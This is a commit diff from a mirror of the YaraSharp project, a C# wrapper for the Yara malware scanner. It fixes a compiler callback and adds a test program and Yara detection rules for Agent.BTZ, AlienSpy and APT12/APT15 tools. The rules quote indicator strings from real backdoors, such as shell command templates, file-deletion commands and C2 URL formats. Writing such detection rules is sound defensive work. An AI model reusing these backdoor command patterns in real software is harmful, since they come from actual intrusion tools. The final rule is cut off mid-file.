mirror of
https://github.com/stellarbear/YaraSharp
synced 2026-06-08 17:36:09 +00:00
Bug fix on compiler callback. Test project added.
This commit is contained in:
stellarbear
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,6 @@
|
||||
<?xml version="1.0" encoding="utf-8" ?>
|
||||
<configuration>
|
||||
<startup>
|
||||
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.6.1" />
|
||||
</startup>
|
||||
</configuration>
|
||||
@@ -1,6 +1,7 @@
|
||||
# YaraSharp
|
||||
C# wrapper around the Yara pattern matching library.
|
||||
|
||||
Included signatures form [Loki](https://github.com/Neo23x0/signature-base/tree/master/yara).
|
||||
## Usage
|
||||
```C#
|
||||
// All API calls happens here
|
||||
|
||||
@@ -17,30 +17,50 @@ Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Solution Items", "Solution
|
||||
README.md = README.md
|
||||
EndProjectSection
|
||||
EndProject
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "YaraTest", "YaraTest\YaraTest.csproj", "{602143B0-7EA3-4843-8CEE-228BC66F0437}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Any CPU = Debug|Any CPU
|
||||
Debug|x64 = Debug|x64
|
||||
Debug|x86 = Debug|x86
|
||||
Release|Any CPU = Release|Any CPU
|
||||
Release|x64 = Release|x64
|
||||
Release|x86 = Release|x86
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{C005E3B9-2474-4FEA-B5F4-7BB897111E8F}.Debug|Any CPU.ActiveCfg = Debug|Win32
|
||||
{C005E3B9-2474-4FEA-B5F4-7BB897111E8F}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{C005E3B9-2474-4FEA-B5F4-7BB897111E8F}.Debug|x64.Build.0 = Debug|x64
|
||||
{C005E3B9-2474-4FEA-B5F4-7BB897111E8F}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{C005E3B9-2474-4FEA-B5F4-7BB897111E8F}.Debug|x86.Build.0 = Debug|Win32
|
||||
{C005E3B9-2474-4FEA-B5F4-7BB897111E8F}.Release|Any CPU.ActiveCfg = Release|Win32
|
||||
{C005E3B9-2474-4FEA-B5F4-7BB897111E8F}.Release|x64.ActiveCfg = Release|x64
|
||||
{C005E3B9-2474-4FEA-B5F4-7BB897111E8F}.Release|x64.Build.0 = Release|x64
|
||||
{C005E3B9-2474-4FEA-B5F4-7BB897111E8F}.Release|x86.ActiveCfg = Release|Win32
|
||||
{C005E3B9-2474-4FEA-B5F4-7BB897111E8F}.Release|x86.Build.0 = Release|Win32
|
||||
{E236CE39-D8F3-4DB6-985C-F2794FF17746}.Debug|Any CPU.ActiveCfg = Debug|Win32
|
||||
{E236CE39-D8F3-4DB6-985C-F2794FF17746}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{E236CE39-D8F3-4DB6-985C-F2794FF17746}.Debug|x64.Build.0 = Debug|x64
|
||||
{E236CE39-D8F3-4DB6-985C-F2794FF17746}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{E236CE39-D8F3-4DB6-985C-F2794FF17746}.Debug|x86.Build.0 = Debug|Win32
|
||||
{E236CE39-D8F3-4DB6-985C-F2794FF17746}.Release|Any CPU.ActiveCfg = Release|Win32
|
||||
{E236CE39-D8F3-4DB6-985C-F2794FF17746}.Release|x64.ActiveCfg = Release|x64
|
||||
{E236CE39-D8F3-4DB6-985C-F2794FF17746}.Release|x64.Build.0 = Release|x64
|
||||
{E236CE39-D8F3-4DB6-985C-F2794FF17746}.Release|x86.ActiveCfg = Release|Win32
|
||||
{E236CE39-D8F3-4DB6-985C-F2794FF17746}.Release|x86.Build.0 = Release|Win32
|
||||
{602143B0-7EA3-4843-8CEE-228BC66F0437}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{602143B0-7EA3-4843-8CEE-228BC66F0437}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{602143B0-7EA3-4843-8CEE-228BC66F0437}.Debug|x64.ActiveCfg = Debug|Any CPU
|
||||
{602143B0-7EA3-4843-8CEE-228BC66F0437}.Debug|x64.Build.0 = Debug|Any CPU
|
||||
{602143B0-7EA3-4843-8CEE-228BC66F0437}.Debug|x86.ActiveCfg = Debug|Any CPU
|
||||
{602143B0-7EA3-4843-8CEE-228BC66F0437}.Debug|x86.Build.0 = Debug|Any CPU
|
||||
{602143B0-7EA3-4843-8CEE-228BC66F0437}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{602143B0-7EA3-4843-8CEE-228BC66F0437}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
{602143B0-7EA3-4843-8CEE-228BC66F0437}.Release|x64.ActiveCfg = Release|Any CPU
|
||||
{602143B0-7EA3-4843-8CEE-228BC66F0437}.Release|x64.Build.0 = Release|Any CPU
|
||||
{602143B0-7EA3-4843-8CEE-228BC66F0437}.Release|x86.ActiveCfg = Release|Any CPU
|
||||
{602143B0-7EA3-4843-8CEE-228BC66F0437}.Release|x86.Build.0 = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
|
||||
@@ -13,10 +13,19 @@ namespace YaraSharp
|
||||
Errors = gcnew List<String^>();
|
||||
|
||||
SetCompilerExternals(ExternalVariables);
|
||||
SetCompilerCallback();
|
||||
}
|
||||
// Äåñòðóêòîð
|
||||
CCompiler::~CCompiler() { if (Compiler) yr_compiler_destroy(Compiler); }
|
||||
|
||||
|
||||
void CCompiler::SetCompilerCallback()
|
||||
{
|
||||
YaraCompilerCallback^ CompilerCallback = gcnew YaraCompilerCallback(this, &CCompiler::HandleCompilerCallback);
|
||||
GCHandle CallbackHandle = GCHandle::Alloc(CompilerCallback);
|
||||
YR_COMPILER_CALLBACK_FUNC CallbackPointer = (YR_COMPILER_CALLBACK_FUNC)(Marshal::GetFunctionPointerForDelegate(CompilerCallback)).ToPointer();
|
||||
yr_compiler_set_callback(Compiler, CallbackPointer, NULL);
|
||||
}
|
||||
// Äîáàâëåíèå ïðàâèë â êîëëåêöèþ èç ôàéëà
|
||||
int CCompiler::AddFile(String^ FilePath)
|
||||
{
|
||||
@@ -56,11 +65,6 @@ namespace YaraSharp
|
||||
{
|
||||
return this->Errors;
|
||||
}
|
||||
// Ïîëó÷åíèå êîìïèëÿòîðà
|
||||
YR_COMPILER* CCompiler::GetCompiler()
|
||||
{
|
||||
return this->Compiler;
|
||||
}
|
||||
// Óñòàíîâêà externals
|
||||
void CCompiler::SetCompilerExternals(Dictionary<String^, Object^>^ ExternalVariables)
|
||||
{
|
||||
|
||||
@@ -15,13 +15,13 @@ namespace YaraSharp
|
||||
~CCompiler();
|
||||
|
||||
CRules^ GetRules();
|
||||
YR_COMPILER* GetCompiler();
|
||||
List<String^>^ GetErrors();
|
||||
int AddFile(String^ FilePath);
|
||||
void AddFiles(List<String^>^ FilePathList);
|
||||
|
||||
void HandleCompilerCallback(int ErrorLevel, const char* Filename, int LineNumber, const char* Message, void* UserData);
|
||||
private:
|
||||
void SetCompilerCallback();
|
||||
void SetCompilerExternals(Dictionary<String^, Object^>^ ExternalVariables);
|
||||
};
|
||||
}
|
||||
@@ -48,7 +48,6 @@ namespace YaraSharp
|
||||
}
|
||||
|
||||
|
||||
|
||||
// Êîìïèëÿöèÿ ïðàâèë
|
||||
CRules^ CYaraSharp::CompileFromFiles(List<String^>^ FilePathList, Dictionary<String^, Object^>^ ExternalVariables,
|
||||
[Out] Dictionary<String^, List<String^>^>^% CompilationErrors)
|
||||
@@ -58,14 +57,8 @@ namespace YaraSharp
|
||||
// Ïðîâåðêà ïðàâèë íà êîððåêòíîñòü
|
||||
CompilationErrors = CheckYaraRules(FilePathList, ExternalVariables);
|
||||
|
||||
// Callback ñåêöèÿ
|
||||
CCompiler^ Compiler = gcnew CCompiler(ExternalVariables);
|
||||
YaraCompilerCallback^ CompilerCallback = gcnew YaraCompilerCallback(Compiler, &CCompiler::HandleCompilerCallback);
|
||||
GCHandle CallbackHandle = GCHandle::Alloc(CompilerCallback);
|
||||
YR_COMPILER_CALLBACK_FUNC CallbackPointer = (YR_COMPILER_CALLBACK_FUNC)(Marshal::GetFunctionPointerForDelegate(CompilerCallback)).ToPointer();
|
||||
yr_compiler_set_callback(Compiler->GetCompiler(), CallbackPointer, NULL);
|
||||
|
||||
// Êîìïèëÿöèÿ ïðàâèë
|
||||
CCompiler^ Compiler = gcnew CCompiler(ExternalVariables);
|
||||
Compiler->AddFiles(FilePathList);
|
||||
CRules^ Result = Compiler->GetRules();
|
||||
delete Compiler;
|
||||
@@ -92,7 +85,7 @@ namespace YaraSharp
|
||||
YR_CALLBACK_FUNC CallbackPointer = (YR_CALLBACK_FUNC)Marshal::GetFunctionPointerForDelegate(ScannerCallback).ToPointer();
|
||||
|
||||
// Ñêàíèðîâàíèå
|
||||
ErrorUtility::ThrowOnError( yr_rules_scan_file(Rules, (marshal_as<std::string>(Path)).c_str(), 0, CallbackPointer, ResultsPointer, Timeout));
|
||||
ErrorUtility::ThrowOnError(yr_rules_scan_file(Rules, (marshal_as<std::string>(Path)).c_str(), 0, CallbackPointer, ResultsPointer, Timeout));
|
||||
|
||||
return Results;
|
||||
}
|
||||
|
||||
@@ -0,0 +1,6 @@
|
||||
<?xml version="1.0" encoding="utf-8" ?>
|
||||
<configuration>
|
||||
<startup>
|
||||
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.6.1" />
|
||||
</startup>
|
||||
</configuration>
|
||||
@@ -0,0 +1,57 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using YaraSharp;
|
||||
|
||||
namespace YaraTest
|
||||
{
|
||||
class Program
|
||||
{
|
||||
static void Main(string[] args)
|
||||
{
|
||||
// All API calls happens here
|
||||
YaraSharp.CYaraSharp YSInstance = new CYaraSharp();
|
||||
|
||||
// Declare external variables (could be null)
|
||||
Dictionary<string, object> Externals = new Dictionary<string, object>()
|
||||
{
|
||||
{ "filename", string.Empty },
|
||||
{ "filepath", string.Empty },
|
||||
{ "extension", string.Empty }
|
||||
};
|
||||
|
||||
// Errors occured during rule compilation: ignored_file : List<reasons>
|
||||
Dictionary<string, List<string>> Errors = new Dictionary<string, List<string>>();
|
||||
|
||||
// Context is where yara is initialized
|
||||
// From yr_initialize() to yr_finalize()
|
||||
using (YaraSharp.CContext YSContext = new YaraSharp.CContext())
|
||||
{
|
||||
// Compiling rules
|
||||
using (YaraSharp.CRules YSRules = YSInstance.CompileFromFiles(Directory.GetFiles(Path.Combine(Directory.GetCurrentDirectory(), "..\\..\\signatures"), "*.yar", SearchOption.AllDirectories).ToList(), Externals, out Errors))
|
||||
{
|
||||
// Some file to test yara rules
|
||||
string Filename = "<some_file>";
|
||||
|
||||
// Get matches
|
||||
List<YaraSharp.CMatches> Matches = YSInstance.ScanFile(Filename, YSRules,
|
||||
new Dictionary<string, object>()
|
||||
{
|
||||
{ "filename", System.IO.Path.GetFileName(Filename) },
|
||||
{ "filepath", System.IO.Path.GetFullPath(Filename) },
|
||||
{ "extension", System.IO.Path.GetExtension(Filename) }
|
||||
},
|
||||
0);
|
||||
|
||||
// Iterate over matches
|
||||
foreach (YaraSharp.CMatches Match in Matches)
|
||||
{
|
||||
//...
|
||||
}
|
||||
}
|
||||
// Log errors
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,36 @@
|
||||
using System.Reflection;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
// Общие сведения об этой сборке предоставляются следующим набором
|
||||
// набора атрибутов. Измените значения этих атрибутов, чтобы изменить сведения,
|
||||
// связанные со сборкой.
|
||||
[assembly: AssemblyTitle("YaraTest")]
|
||||
[assembly: AssemblyDescription("")]
|
||||
[assembly: AssemblyConfiguration("")]
|
||||
[assembly: AssemblyCompany("")]
|
||||
[assembly: AssemblyProduct("YaraTest")]
|
||||
[assembly: AssemblyCopyright("Copyright © 2018")]
|
||||
[assembly: AssemblyTrademark("")]
|
||||
[assembly: AssemblyCulture("")]
|
||||
|
||||
// Установка значения False для параметра ComVisible делает типы в этой сборке невидимыми
|
||||
// для компонентов COM. Если необходимо обратиться к типу в этой сборке через
|
||||
// COM, задайте атрибуту ComVisible значение TRUE для этого типа.
|
||||
[assembly: ComVisible(false)]
|
||||
|
||||
// Следующий GUID служит для идентификации библиотеки типов, если этот проект будет видимым для COM
|
||||
[assembly: Guid("602143b0-7ea3-4843-8cee-228bc66f0437")]
|
||||
|
||||
// Сведения о версии сборки состоят из следующих четырех значений:
|
||||
//
|
||||
// Основной номер версии
|
||||
// Дополнительный номер версии
|
||||
// Номер сборки
|
||||
// Редакция
|
||||
//
|
||||
// Можно задать все значения или принять номер сборки и номер редакции по умолчанию.
|
||||
// используя "*", как показано ниже:
|
||||
// [assembly: AssemblyVersion("1.0.*")]
|
||||
[assembly: AssemblyVersion("1.0.0.0")]
|
||||
[assembly: AssemblyFileVersion("1.0.0.0")]
|
||||
@@ -0,0 +1,57 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProjectGuid>{602143B0-7EA3-4843-8CEE-228BC66F0437}</ProjectGuid>
|
||||
<OutputType>Exe</OutputType>
|
||||
<RootNamespace>YaraTest</RootNamespace>
|
||||
<AssemblyName>YaraTest</AssemblyName>
|
||||
<TargetFrameworkVersion>v4.6.1</TargetFrameworkVersion>
|
||||
<FileAlignment>512</FileAlignment>
|
||||
<AutoGenerateBindingRedirects>true</AutoGenerateBindingRedirects>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<PlatformTarget>x86</PlatformTarget>
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<Optimize>false</Optimize>
|
||||
<OutputPath>..\Build\Test\</OutputPath>
|
||||
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
<AllowUnsafeBlocks>false</AllowUnsafeBlocks>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<PlatformTarget>x86</PlatformTarget>
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>..\Build\Test\</OutputPath>
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
<AllowUnsafeBlocks>false</AllowUnsafeBlocks>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="System" />
|
||||
<Reference Include="System.Core" />
|
||||
<Reference Include="System.Xml.Linq" />
|
||||
<Reference Include="System.Data.DataSetExtensions" />
|
||||
<Reference Include="Microsoft.CSharp" />
|
||||
<Reference Include="System.Data" />
|
||||
<Reference Include="System.Net.Http" />
|
||||
<Reference Include="System.Xml" />
|
||||
<Reference Include="YaraSharp">
|
||||
<HintPath>..\Build\Debug\x86\YaraSharp.dll</HintPath>
|
||||
</Reference>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="Program.cs" />
|
||||
<Compile Include="Properties\AssemblyInfo.cs" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="App.config" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
|
||||
</Project>
|
||||
@@ -0,0 +1,69 @@
|
||||
/*
|
||||
Yara Rule Set
|
||||
Author: Florian Roth
|
||||
Date: 2017-08-07
|
||||
Identifier: Agent BTZ
|
||||
Reference: http://www.intezer.com/new-variants-of-agent-btz-comrat-found/
|
||||
*/
|
||||
|
||||
/* Rule Set ----------------------------------------------------------------- */
|
||||
|
||||
import "pe"
|
||||
|
||||
rule Agent_BTZ_Proxy_DLL_1 {
|
||||
meta:
|
||||
description = "Detects Agent-BTZ Proxy DLL - activeds.dll"
|
||||
author = "Florian Roth"
|
||||
reference = "http://www.intezer.com/new-variants-of-agent-btz-comrat-found/"
|
||||
date = "2017-08-07"
|
||||
hash1 = "9c163c3f2bd5c5181147c6f4cf2571160197de98f496d16b38c7dc46b5dc1426"
|
||||
hash2 = "628d316a983383ed716e3f827720915683a8876b54677878a7d2db376d117a24"
|
||||
strings:
|
||||
$s1 = "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Modules" fullword wide
|
||||
condition:
|
||||
( uint16(0) == 0x5a4d and filesize < 300KB and all of them and pe.exports("Entry") )
|
||||
}
|
||||
|
||||
rule Agent_BTZ_Proxy_DLL_2 {
|
||||
meta:
|
||||
description = "Detects Agent-BTZ Proxy DLL - activeds.dll"
|
||||
author = "Florian Roth"
|
||||
reference = "http://www.intezer.com/new-variants-of-agent-btz-comrat-found/"
|
||||
date = "2017-08-07"
|
||||
hash1 = "73db4295c5b29958c5d93c20be9482c1efffc89fc4e5c8ba59ac9425a4657a88"
|
||||
hash2 = "380b0353ba8cd33da8c5e5b95e3e032e83193019e73c71875b58ec1ed389bdac"
|
||||
hash3 = "f27e9bba6a2635731845b4334b807c0e4f57d3b790cecdc77d8fef50629f51a2"
|
||||
strings:
|
||||
$s1 = { 38 21 38 2C 38 37 38 42 38 4D 38 58 38 63 38 6E
|
||||
38 79 38 84 38 8F 38 9A 38 A5 38 B0 38 BB 38 C6
|
||||
38 D1 38 DC 38 E7 38 F2 38 FD 38 08 39 13 39 1E
|
||||
39 29 39 34 39 3F 39 4A 39 55 39 60 39 6B 39 76
|
||||
39 81 39 8C 39 97 39 A2 39 AD 39 B8 39 C3 39 CE
|
||||
39 D9 39 E4 39 EF 39 FA 39 05 3A 10 3A 1B 3A 26
|
||||
3A 31 3A 3C 3A 47 3A 52 3A 5D 3A 68 3A 73 3A 7E
|
||||
3A 89 3A 94 3A 9F 3A AA 3A B5 3A C0 3A CB 3A D6
|
||||
3A E1 3A EC 3A F7 3A }
|
||||
$s2 = "activeds.dll" ascii fullword
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and filesize < 200KB and all of them and pe.imphash() == "09b7c73fbe5529e6de7137e3e8268b7b"
|
||||
}
|
||||
|
||||
rule Agent_BTZ_Aug17 {
|
||||
meta:
|
||||
description = "Detects Agent.BTZ"
|
||||
author = "Florian Roth"
|
||||
reference = "http://www.intezer.com/new-variants-of-agent-btz-comrat-found/"
|
||||
date = "2017-08-07"
|
||||
hash1 = "6ad78f069c3619d0d18eef8281219679f538cfe0c1b6d40b244beb359762cf96"
|
||||
hash2 = "49c5c798689d4a54e5b7099b647b0596fb96b996a437bb8241b5dd76e974c24e"
|
||||
hash3 = "e88970fa4892150441c1616028982fe63c875f149cd490c3c910a1c091d3ad49"
|
||||
strings:
|
||||
$s1 = "stdole2.tlb" fullword ascii
|
||||
$s2 = "UnInstallW" fullword ascii
|
||||
condition:
|
||||
(
|
||||
uint16(0) == 0x5a4d and filesize < 900KB and
|
||||
all of them and
|
||||
pe.exports("Entry") and pe.exports("InstallW") and pe.exports("UnInstallW")
|
||||
)
|
||||
}
|
||||
@@ -0,0 +1,49 @@
|
||||
|
||||
rule crime_win_rat_AlienSpy
|
||||
{
|
||||
meta:
|
||||
description = "Alien Spy Remote Access Trojan"
|
||||
author = "General Dynamics Fidelis Cybersecurity Solutions - Threat Research Team"
|
||||
reference_1 = "www.fidelissecurity.com/sites/default/files/FTA_1015_Alienspy_FINAL.pdf"
|
||||
reference_2 = "www.fidelissecurity.com/sites/default/files/AlienSpy-Configs2_1_2.csv"
|
||||
date = "04-Apr-15"
|
||||
filetype = "Java"
|
||||
hash_1 = "075fa0567d3415fbab3514b8aa64cfcb"
|
||||
hash_2 = "818afea3040a887f191ee9d0579ac6ed"
|
||||
hash_3 = "973de705f2f01e82c00db92eaa27912c"
|
||||
hash_4 = "7f838907f9cc8305544bd0ad4cfd278e"
|
||||
hash_5 = "071e12454731161d47a12a8c4b3adfea"
|
||||
hash_6 = "a7d50760d49faff3656903c1130fd20b"
|
||||
hash_7 = "f399afb901fcdf436a1b2a135da3ee39"
|
||||
hash_8 = "3698a3630f80a632c0c7c12e929184fb"
|
||||
hash_9 = "fdb674cadfa038ff9d931e376f89f1b6"
|
||||
|
||||
strings:
|
||||
|
||||
$sa_1 = "META-INF/MANIFEST.MF"
|
||||
$sa_2 = "Main.classPK"
|
||||
$sa_3 = "plugins/Server.classPK"
|
||||
$sa_4 = "IDPK"
|
||||
|
||||
$sb_1 = "config.iniPK"
|
||||
$sb_2 = "password.iniPK"
|
||||
$sb_3 = "plugins/Server.classPK"
|
||||
$sb_4 = "LoadStub.classPK"
|
||||
$sb_5 = "LoadStubDecrypted.classPK"
|
||||
$sb_7 = "LoadPassword.classPK"
|
||||
$sb_8 = "DecryptStub.classPK"
|
||||
$sb_9 = "ClassLoaders.classPK"
|
||||
|
||||
$sc_1 = "config.xml"
|
||||
$sc_2 = "options"
|
||||
$sc_3 = "plugins"
|
||||
$sc_4 = "util"
|
||||
$sc_5 = "util/OSHelper"
|
||||
$sc_6 = "Start.class"
|
||||
$sc_7 = "AlienSpy"
|
||||
$sc_8 = "PK"
|
||||
|
||||
condition:
|
||||
|
||||
uint16(0) == 0x4B50 and filesize < 800KB and ( (all of ($sa_*)) or (all of ($sb_*)) or (all of ($sc_*)) )
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,23 @@
|
||||
/*
|
||||
Yara Rule Set
|
||||
Author: Florian Roth
|
||||
Date: 2017-08-30
|
||||
Identifier: APT 12 Japanese Incident
|
||||
Reference: http://blog.macnica.net/blog/2017/08/post-fb81.html
|
||||
*/
|
||||
|
||||
/* Rule Set ----------------------------------------------------------------- */
|
||||
|
||||
import "pe"
|
||||
|
||||
rule APT12_Malware_Aug17 {
|
||||
meta:
|
||||
description = "Detects APT 12 Malware"
|
||||
author = "Florian Roth"
|
||||
reference = "http://blog.macnica.net/blog/2017/08/post-fb81.html"
|
||||
date = "2017-08-30"
|
||||
hash1 = "dc7521c00ec2534cf494c0263ddf67ea4ba9915eb17bdc0b3ebe9e840ec63643"
|
||||
hash2 = "42da51b69bd6625244921a4eef9a2a10153e012a3213e8e9877cf831aea3eced"
|
||||
condition:
|
||||
( uint16(0) == 0x5a4d and pe.imphash() == "9ba915fd04f248ad62e856c7238c0264" )
|
||||
}
|
||||
@@ -0,0 +1,292 @@
|
||||
/*
|
||||
Yara Rule Set
|
||||
Author: Florian Roth
|
||||
Date: 2018-03-10
|
||||
Identifier: APT15 Report
|
||||
Reference: https://goo.gl/HZ5XMN
|
||||
*/
|
||||
|
||||
/* Rule Set ----------------------------------------------------------------- */
|
||||
|
||||
import "pe"
|
||||
|
||||
rule APT15_Malware_Mar18_RoyalCli {
|
||||
meta:
|
||||
description = "Detects malware from APT 15 report by NCC Group"
|
||||
author = "Florian Roth"
|
||||
reference = "https://goo.gl/HZ5XMN"
|
||||
date = "2018-03-10"
|
||||
hash1 = "6df9b712ff56009810c4000a0ad47e41b7a6183b69416251e060b5c80cd05785"
|
||||
strings:
|
||||
$s1 = "\\Release\\RoyalCli.pdb" ascii
|
||||
$s2 = "%snewcmd.exe" fullword ascii
|
||||
$s3 = "Run cmd error %d" fullword ascii
|
||||
$s4 = "%s~clitemp%08x.ini" fullword ascii
|
||||
$s5 = "run file failed" fullword ascii
|
||||
$s6 = "Cmd timeout %d" fullword ascii
|
||||
$s7 = "2 %s %d 0 %d" fullword ascii
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and filesize < 200KB and 2 of them
|
||||
}
|
||||
|
||||
rule APT15_Malware_Mar18_RoyalDNS {
|
||||
meta:
|
||||
description = "Detects malware from APT 15 report by NCC Group"
|
||||
author = "Florian Roth"
|
||||
reference = "https://goo.gl/HZ5XMN"
|
||||
date = "2018-03-10"
|
||||
hash1 = "bc937f6e958b339f6925023bc2af375d669084e9551fd3753e501ef26e36b39d"
|
||||
strings:
|
||||
$x1 = "del c:\\windows\\temp\\r.exe /f /q" fullword ascii
|
||||
$x2 = "%s\\r.exe" fullword ascii
|
||||
|
||||
$s1 = "rights.dll" fullword ascii
|
||||
$s2 = "\"%s\">>\"%s\"\\s.txt" fullword ascii
|
||||
$s3 = "Nwsapagent" fullword ascii
|
||||
$s4 = "%s\\r.bat" fullword ascii
|
||||
$s5 = "%s\\s.txt" fullword ascii
|
||||
$s6 = "runexe" fullword ascii
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and filesize < 200KB and (
|
||||
( pe.exports("RunInstallA") and pe.exports("RunUninstallA") ) or
|
||||
1 of ($x*) or
|
||||
2 of them
|
||||
)
|
||||
}
|
||||
|
||||
rule APT15_Malware_Mar18_BS2005 {
|
||||
meta:
|
||||
description = "Detects malware from APT 15 report by NCC Group"
|
||||
author = "Florian Roth"
|
||||
reference = "https://goo.gl/HZ5XMN"
|
||||
date = "2018-03-10"
|
||||
hash1 = "750d9eecd533f89b8aa13aeab173a1cf813b021b6824bc30e60f5db6fa7b950b"
|
||||
strings:
|
||||
$x1 = "AAAAKQAASCMAABi+AABnhEBj8vep7VRoAEPRWLweGc0/eiDrXGajJXRxbXsTXAcZAABK4QAAPWwAACzWAAByrg==" fullword ascii
|
||||
$x2 = "AAAAKQAASCMAABi+AABnhKv3kXJJousn5YzkjGF46eE3G8ZGse4B9uoqJo8Q2oF0AABK4QAAPWwAACzWAAByrg==" fullword ascii
|
||||
|
||||
$a1 = "http://%s/content.html?id=%s" fullword ascii
|
||||
$a2 = "http://%s/main.php?ssid=%s" fullword ascii
|
||||
$a3 = "http://%s/webmail.php?id=%s" fullword ascii
|
||||
$a9 = "http://%s/error.html?tab=%s" fullword ascii
|
||||
|
||||
$s1 = "%s\\~tmp.txt" fullword ascii
|
||||
$s2 = "%s /C %s >>\"%s\" 2>&1" fullword ascii
|
||||
$s3 = "DisableFirstRunCustomize" fullword ascii
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and filesize < 200KB and (
|
||||
1 of ($x*) or
|
||||
2 of them
|
||||
)
|
||||
}
|
||||
|
||||
rule APT15_Malware_Mar18_MSExchangeTool {
|
||||
meta:
|
||||
description = "Detects malware from APT 15 report by NCC Group"
|
||||
author = "Florian Roth"
|
||||
reference = "https://goo.gl/HZ5XMN"
|
||||
date = "2018-03-10"
|
||||
hash1 = "16b868d1bef6be39f69b4e976595e7bd46b6c0595cf6bc482229dbb9e64f1bce"
|
||||
strings:
|
||||
$s1 = "\\Release\\EWSTEW.pdb" ascii
|
||||
$s2 = "EWSTEW.exe" fullword wide
|
||||
$s3 = "Microsoft.Exchange.WebServices.Data" fullword ascii
|
||||
$s4 = "tmp.dat" fullword wide
|
||||
$s6 = "/v or /t is null" fullword wide
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and filesize < 40KB and all of them
|
||||
}
|
||||
|
||||
/*
|
||||
Identifier: APT15 = Mirage = Ke3chang
|
||||
Author: NCCGroup
|
||||
Revised by Florian Roth for performance reasons
|
||||
see https://gist.github.com/Neo23x0/e3d4e316d7441d9143c7
|
||||
> some rules were untightened
|
||||
Date: 2018-03-09
|
||||
Reference: https://github.com/nccgroup/Royal_APT/blob/master/signatures/apt15.yara
|
||||
*/
|
||||
|
||||
rule clean_apt15_patchedcmd{
|
||||
meta:
|
||||
author = "Ahmed Zaki"
|
||||
description = "This is a patched CMD. This is the CMD that RoyalCli uses."
|
||||
sha256 = "90d1f65cfa51da07e040e066d4409dc8a48c1ab451542c894a623bc75c14bf8f"
|
||||
strings:
|
||||
$ = "eisableCMD" wide
|
||||
$ = "%WINDOWS_COPYRIGHT%" wide
|
||||
$ = "Cmd.Exe" wide
|
||||
$ = "Windows Command Processor" wide
|
||||
condition:
|
||||
uint16(0) == 0x5A4D and all of them
|
||||
}
|
||||
|
||||
rule malware_apt15_royalcli_1{
|
||||
meta:
|
||||
description = "Generic strings found in the Royal CLI tool"
|
||||
author = "David Cannings"
|
||||
sha256 = "6df9b712ff56009810c4000a0ad47e41b7a6183b69416251e060b5c80cd05785"
|
||||
strings:
|
||||
$ = "%s~clitemp%08x.tmp" fullword
|
||||
$ = "%s /c %s>%s" fullword
|
||||
$ = "%snewcmd.exe" fullword
|
||||
$ = "%shkcmd.exe" fullword
|
||||
$ = "%s~clitemp%08x.ini" fullword
|
||||
$ = "myRObject" fullword
|
||||
$ = "myWObject" fullword
|
||||
$ = "2 %s %d 0 %d\x0D\x0A"
|
||||
$ = "2 %s %d 1 %d\x0D\x0A"
|
||||
$ = "%s file not exist" fullword
|
||||
condition:
|
||||
uint16(0) == 0x5A4D and 5 of them
|
||||
}
|
||||
|
||||
rule malware_apt15_royalcli_2{
|
||||
meta:
|
||||
author = "Nikolaos Pantazopoulos"
|
||||
description = "APT15 RoyalCli backdoor"
|
||||
strings:
|
||||
$string1 = "%shkcmd.exe" fullword
|
||||
$string2 = "myRObject" fullword
|
||||
